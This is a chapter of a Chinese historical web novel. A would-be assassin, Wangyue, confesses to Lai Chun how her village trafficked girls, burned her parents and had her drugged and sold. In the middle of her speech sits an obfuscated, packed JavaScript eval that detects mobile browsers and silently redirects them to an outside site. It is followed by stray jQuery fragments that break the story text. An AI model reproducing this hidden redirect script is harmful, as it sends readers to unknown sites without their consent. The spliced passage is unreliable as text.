来椿沉静的面容上是烛火摇曳的光影，她端坐在紫檀木扶手椅上，身形未动。


    只一双清冽的眸子，平静地注视着逼近自己的望月。


    那柄泛着寒光的匕首直抵她纤细脆弱的脖颈，冰凉的触感透过肌肤丝丝传来。


    然而，来椿连眼睫都未曾颤动一下。


    她甚至好整以暇地将望月此刻微微颤抖的指尖，以及那双强作镇定却难掩惊惶的眸子，细细打量了一番，依旧没有半分要往后躲避的意思。


    望月握着匕首的手紧了又紧，指节因用力而泛白，可预期的挣扎或恐惧并未从来椿眼中看到分毫。


    这异乎寻常的平静，反而让她心底升起一股莫名的狐疑与不安。


    她蹙紧眉头，声音因刻意压抑而显得有些尖锐：“你为何不躲？当真不怕我杀了你？”


    “这屋内仅有你我二人，你手无缚鸡之力，我若动手，你绝无生路！”


    她试图从对方脸上找出一丝伪装的痕迹，却只看到一片深不见底的淡然。


    来椿静静听完她的话，微微扬眉，反问：“那么，你又为何停下了？不是要取我性命么？”


    不等望月回答，她继续缓声道，每个字都清晰落地：“这院落内外，遍布暗卫，我若此刻殒命，你纵有通天之能，也绝难活着踏出这房门半步。”


    “但你做这一切，费尽周折，甚至不惜兵行险着，所求不过是一个‘活’字。既想活，又怎会轻易与我同归于尽？望月姑娘，你这番作态，未免……有些刻意了。”


    望月瞳孔微缩，紧紧盯着来椿，仿佛要重新认识眼前这个人。


    半晌，她身上那股凌厉的气势倏然消散，如同被戳破的皮球。


    她俯身，重新落座在来椿对面的绣墩上，似乎疲惫了一般，自嘲地低笑一声。


    她将匕首收回袖中，再抬眼时，眸中先前伪装的杀意已褪去，取而代之的是一种极为复杂的情绪。


    “我似乎开始相信你的能耐了。”望月的声音低沉下去，“或许，你当真有那个能力，带我们挣脱这泥沼困境，纵不能立刻海阔天空，至少不必如眼下这般，受人钳制，动辄得咎。”


    来椿并未因她态度的转变而显露出得意之色，她神色依旧平和，伸手执起桌上温着的茶壶，斟了一杯热茶，轻轻推至望月面前。


    茶汤清亮，氤氲着淡淡的热气。


    “我不知你具体经历了什么，亦不知你背后之人是谁。”来椿开口，声音清缓，“但我能猜到，你亦是受人胁迫，身不由己。”


    “你想活下去，堂堂正正地活，而我，亦希望这世间能少些无辜之人遭受迫害。我们的目的，说到底，并无根本冲突，故而若你愿意信我，将你所知之事坦诚相告，或许眼下的僵局便能有所转圜，更多人的命运，也能得以改变。”


    望月垂眸，目光落在眼前那杯清茶上，热气模糊了她眼底的神色。


    她伸出双手，紧紧捧住微烫的茶杯，仿佛借此汲取一丝暖意。


    她的脸色凝重，唇瓣紧抿。


    说出秘密，意味着背叛，也意味着将唯一的生路寄托于他人之手。


    可若不说，继续受制于人，前路只会是万丈深渊。


    室内陷入一片沉寂。


    来椿并不催促，她只是耐心地等待着，目光平静地落在望月身上。


    那目光仿佛在说，我在此处，你可以慢慢想。


    时间一点点流逝，窗外月色悄然偏移。


    终于，望月深深吸了一口气，仿佛下定了某种决心，仰头将杯中已温凉的茶水一饮而尽。


    动作带着几分决绝，她将空杯重重放回桌面，发出清脆的磕碰声，然后抬起头，目光直直看向来椿，“你当真能保我性命无虞？若我最终难逃一死，也绝不会让你们好过！”


    这话语像是威胁，却又透着一股脆弱的虚张声势。


    “自然。”来椿回答得没有丝毫犹豫，语气笃定，“若你愿意，事成之后，我可为你安排稳妥去处，让你得以安顿余生，不必再颠沛流离。”


    她略一停顿，再看过来时，目光深似能洞察到什么，“若我猜得不错，你的家人……应当已不在人世了吧？”


    望月猛地抬眼：“你如何得知？是月儿告诉你的？她竟连这些都与你说了？！”


    语气中是难以置信和被背叛的惊怒。


    “我猜的。”来椿神色不变，坦然迎上她审视的目光，“而且我还猜，那位名唤水云的姑娘，家中定然尚有亲眷存活于世，故而她心中牵挂最深，行事也更加瞻前顾后，至今仍在犹豫，是否该向我吐露实情。”


    她语气平静，仿佛在陈述一件再寻常不过的事情。


    然而这些话落在望月耳中，却不啻于惊涛骇浪。


    她不由得再次将来椿细细打量。


    这个看起来年纪比自己还小上几岁的女子，面容尚带几分稚嫩，可那微垂的双眸，却透着一股与年龄不符的沉稳。


    这一刻，望月心中忽然涌起一股难以言喻的庆幸。


    庆幸自己方才没有真的动手，庆幸自己选择了赌这一把。


    或许，这真的是黑暗中唯一透进来的一丝光亮。


    “若我推测无误，”来椿的声音再次响起，平稳而清晰，“你如今无家可归，亦无可靠之人可投奔，唯一所求，不过是挣脱控制活下去。”


    “所以你敢于冒险，因为你已没有什么可再失去，赌输了，不过一死，但若赢了，便可海阔天空，再不任人摆布。”


    望月捏紧了拳头，她没有否认，沉默本身已是最好的答案。


    来椿端起自己面前的茶杯，继续分析：“水云与你同出一处，你们二人皆带着不可告人的目的进入府中，先前的苦肉计，也不过是计划中的一环，这些，我大致已猜出。”


    “但水云与你不同之处在于，她心中尚有牵挂，她有必须活下去的理由，因为远方的家人还在盼她归去，所以，你可以破釜沉舟，她却不能。”


    放下茶杯，来椿的目光带上了一丝探究：“不过我有些好奇，那位红绣，在送你们出来之前，究竟对你们许下了何种承诺，或是施加了怎样的威胁，竟会让你们二人，做出了截然不同的选择？”


    “红绣？”望月从鼻间发出一声极轻的冷哼，眉宇间染上毫不掩饰的鄙夷与怨毒，“她那人，心中从来只有自己，何曾真正顾及过他人死活？手段狠辣，翻脸无情，也就只有水云和月儿那般天真愚蠢的，才会信了她的鬼话，以为真能换来安稳余生。”


    “既然如此，你当初为何不信她？又为何要从村子里出来？”来椿顺着她的话问道。


    望月的神色渐渐飘远，陷入了沉重的回忆之中，声音也飘渺起来：“我们那个村子，自打我记事起，每年都会有外面来的人。”


    “他们穿着体面，却总是以黑巾蒙面，在村中祠堂里，像挑选货物一般，拣选年纪相当的姑娘，说是带出去，许配给非富即贵的人家。”


    “每次被选中的那户，都能得到一大笔银钱，村人见钱眼开，又想着女儿是去享福的，从未有人质疑反抗过。”


    她的语调平缓，却带着一丝不易察觉的颤抖：“原本，我也曾信以为真，直到那年……我亲眼看见一个早几年‘嫁’出去的阿姊，浑身是血衣衫褴褛地跑回村子，她甚至没能撑到家门口，就……”


    望月闭了闭眼，仿佛还能看到那刺目的鲜红，“村里族老们只说她是触怒了神明，遭了天谴，因为嫁出去的女子是绝不能回头的。”


    “阿姊死后，这事很快就被压了下去，痕迹抹得一干二净，我心里却很明白，是有人不想让我们知道真相。”


    她深吸一口气，继续道：“我是爹娘捡来的孩子，但他们待我，比亲生骨肉还要亲厚，他们察觉到了不对劲，偷偷收拾了行囊，想趁夜送我离开这是非之地。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397989|181260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    说到这里，望月的声音陡然哽咽，眼中涌上巨大的悲恸与悔恨，“可偏偏……那晚不知为何就走漏了风声。”


    “村民们举着火把，将我们一家三口捆到了祠堂前，他们说我们坏了祖宗规矩，是大忌。他们就在我面前……活活烧死了我的爹娘。”


    泪水终于不受控制地滑落，望月浑身剧烈地颤抖起来，她死死咬着嘴唇，不让自己哭出声：“而我，则被留下性命，成了下一批要被‘嫁’出去的姑娘。”


    “我拼命挣扎，我知道爹娘是用命换我活路，可我挣不脱啊……那么多双手，我就像待宰的羔羊……”


    “后来，到了我被送出村子的那天，我以为自己也难逃一死，却被带去见了一个人，你猜，我见到了谁？”望月看向来椿，泪眼中是刻骨的恨意。


    来椿心中已然明了，轻声道：“是红绣。”


    “没错，就是她！”望月几乎是咬着牙说出这个名字，“我竟见到了她！她还是穿着那身刺眼的红裙子，像朵有毒的花，她举着火把，凑到我面前，仔仔细细地看我的脸，然后笑着对我说……”


    “望月，好久不见啊。”


    望月模仿着那语调，带着无尽的嘲讽与寒意，“我以前在村里，最黏的就是这位红绣阿姐，可我做梦都想不到，再见面会是这般光景，等我回过神，才看清她身后，还用绳子捆着十几个姑娘，个个面黄肌瘦，吓得瑟瑟发抖。”


    “红绣告诉我，我们都是要送给一位‘大人’的，只要我们乖乖听话，把‘大人’伺候好了，将来少不了荣华富贵，然后，她们就强行给我灌下了一种药……”望月的身体开始不受控制地痉挛，脸色瞬间变得惨白，额头上渗出细密的冷汗，“等我再醒来，就已经在那位‘大人’的床榻之上……”


    她再也说不下去，双手死死抱住头颅，指甲几乎要掐进头皮里，喉咙里发出压抑痛苦的呜咽声，整个人蜷缩起来，仿佛正承受着巨大的煎熬。


    来椿看得心惊，心中涌起强烈的怜悯与愤怒。


    她起身快步走到望月身边，蹲下身想要扶住她颤抖的肩膀：“望月！”


    望月猛地抬手制止了她，艰难地抬起头，嘴角竟渗出了一缕暗红色的血丝。


    她胡乱地用袖子擦去，挤出一个比哭还难看的笑容：“放心，死不了，习惯了……”


    “他们喂的药，就是让我们一想起来就会痛不欲生，没关系……只要能彻底摆脱这一切，再痛我也忍得……”


    她喘息着，看向来椿的目光带着深深的歉意：“对不住，我现在只能想起这些了……那药伤身又伤神……我可能需要缓些时日。”


    “无妨。”来椿摇摇头，安抚她道，“你能说出这些，已是大勇，你且好生休养，不必强求，明日我便让我弟弟去请信得过的郎中来为你诊治，看能否缓解这药性之苦。”


    她扶着望月的手臂，助她缓缓站起身。


    望月的身子仍在微微发颤，每一步都走得艰难，仿佛刚从炼狱中挣脱。


    过了好一会儿，她才长长吁出一口带着血腥味的浊气，脸上恢复了一丝人色。


    她望向身旁始终扶持着自己的来椿，扯动嘴角，露出一抹惨淡却真诚的笑意：


    “我忽然觉得，遇见你，或许是老天爷给我的一次机会。”


    “你或许真的能改变许多人的命，让那些像我一样，自小就被当做货物买卖的女子，有条活路。”


    “你……真的很不一样。”


    留下这句话，望月缓缓转过身，步履蹒跚地走向房门。


    她推开那扇隔绝内外的深色木门，清冷的月光瞬间倾泻而入。


    她慢慢融入廊下的夜色之中，仿佛从未出现过。


    来椿独立于房中，望着她消失的方向，久久未动。


    烛火将她身影拉得悠长，映在墙壁上，如同一尊沉思的泥像。


    夜，还很长。